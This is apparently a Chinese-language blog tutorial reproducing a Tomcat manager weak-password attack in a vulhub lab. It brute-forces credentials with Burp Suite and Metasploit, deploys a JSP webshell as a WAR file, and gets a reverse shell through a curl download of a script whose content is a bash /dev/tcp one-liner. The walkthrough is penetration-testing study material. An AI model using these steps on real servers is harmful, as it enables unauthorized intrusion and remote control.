您的位置:首页技术文章

Tomcat弱口令复现及利用(反弹shell)

【字号: 日期:2023-04-12 18:28:04浏览:18作者:猪猪
目录
  • 漏洞描述
  • 复现
    • 环境
    • 攻击流程
  • 利用
    • msf利用
    • 反弹shell利用
  • 参考文章

    漏洞描述

    Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限。
    Tomcat7+ 权限分为:
    manager(后台管理)

    manager-gui 拥有html页面权限
    manager-status 拥有查看status的权限
    manager-script 拥有text接口的权限,和status权限
    manager-jmx 拥有jmx权限,和status权限
    host-manager(虚拟主机管理)

    admin-gui 拥有html页面权限
    admin-script 拥有text接口权限
    二、漏洞影响
    Tomcat <= 6.0.0 默认用户名为admin,密码为空,无暴力破解限制。
    Tomcat >= 6.0.0 无默认用户,五次失败后,账户即被锁定。
    但是正常安装的情况下,tomcat8 中默认没有任何用户,且 Manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

    复现

    环境

    一台攻击机(kali-2021)192.168.141.190
    受害机(vulhub搭建的)192.168.141.194
    一台用来下载反弹shell脚本的服务器(内网,如果有服务器更好)192.168.141.128(利用时让受害主机下载shell文件实现反弹shell)

    攻击流程

    按照前人经验可以使用burpsuite进行爆破或者使用msf进行爆破
    首先是根据burpsuite进行爆破:
    抓取请求数据包可以看到

    =其中没有看到熟悉的账号密码,但是其中’Authorization: Basic dG9tY2F0OnRvbWNhdA=='将其中的base64字符串解密可以看到结果格式为"tomcat:tomcat"所以将请求包送至爆破模块,构造格式为x:x的payload

    结果中的200即为成功,但是前面说明了tomcat8或有防爆破机制,当一个用户名登录超过五次就会锁定账户,网上有说要用"tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制"这个脚本来绕过但是作者没有找到免费的,就不测试了.
    其次使用过msf进行爆破

    msf中找到上面的模块配置出options的rhosts和rport就可以进行爆破(run)了

    可以看到用户名和密码在都是tomcat的时候爆破成功,而且可以看到msf应该是自带了绕过防爆破脚本,而且可以通过自定义user和password文件进行测试,所以作者更推荐使用msf爆破方式

    利用

    msf利用

    这里强调一下,在作者复现网上说的使用exploit/multi/http/tomcat_mgr_deploy但是在配置好rhoss和rport进行run的时候出现无法拿到shell问题

    所以作者使用了exploit/multi/http/tomcat_mgr_upload进行利用配置同deploy,配置httpusername,httppassword,rhosts.rport 然后运行拿到shell

    反弹shell利用

    整体思路:首先在网页端登录进管理后台上传jsp后门文件,然后访问这个jsp后门即可,虽然上传之后就可以通过shell软件控制,但是为了复习反弹shell的过程,作者将进一步通过上传的jsp一句话木马(也可以上传大马)进行反弹shell.

    首先将一句话shelloneword.jsp(一句话木马文件)通过命令,jar cvf shelloneword.war shelloneword.jsp 执行成功后在管理后台找到如下然后上传

    成功之后可以在这看到结果

    之后通过各种软件访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i= xxxx就行了

    但是作者的方式是通过让受害主机访问服务器主机下载shell文件,进行反弹shell,所以前面只是中间过程,首先让受害主机执行i=curl -o /shell.sh http://192.168.141.128/shell.txt 其中shell.txt文件内容为

    bash -i >& /dev/tcp/192.168.141.190/7777 0>&1

    将ip和端口改为自己的,然后打开nc 监听7777端口,访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i=bash /shell.sh

    反弹shell成功

    参考文章

    [1] https://blog.csdn.net/qq_33020901/article/details/98357659
    [2] https://blog.csdn.net/weixin_44037296/article/details/116376114
    [3] https://blog.csdn.net/qq_43665434/article/details/116903953
    [4] https://www.cnblogs.com/henry666/p/14379888.html
    [5]https://www.cnblogs.com/qianxinggz/p/13440366.html
    [6]https://blog.csdn.net/weixin_42432317/article/details/90208213

    到此这篇关于Tomcat弱口令复现及利用(反弹shell)的文章就介绍到这了,更多相关Tomcat弱口令复现内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!

    标签: Tomcat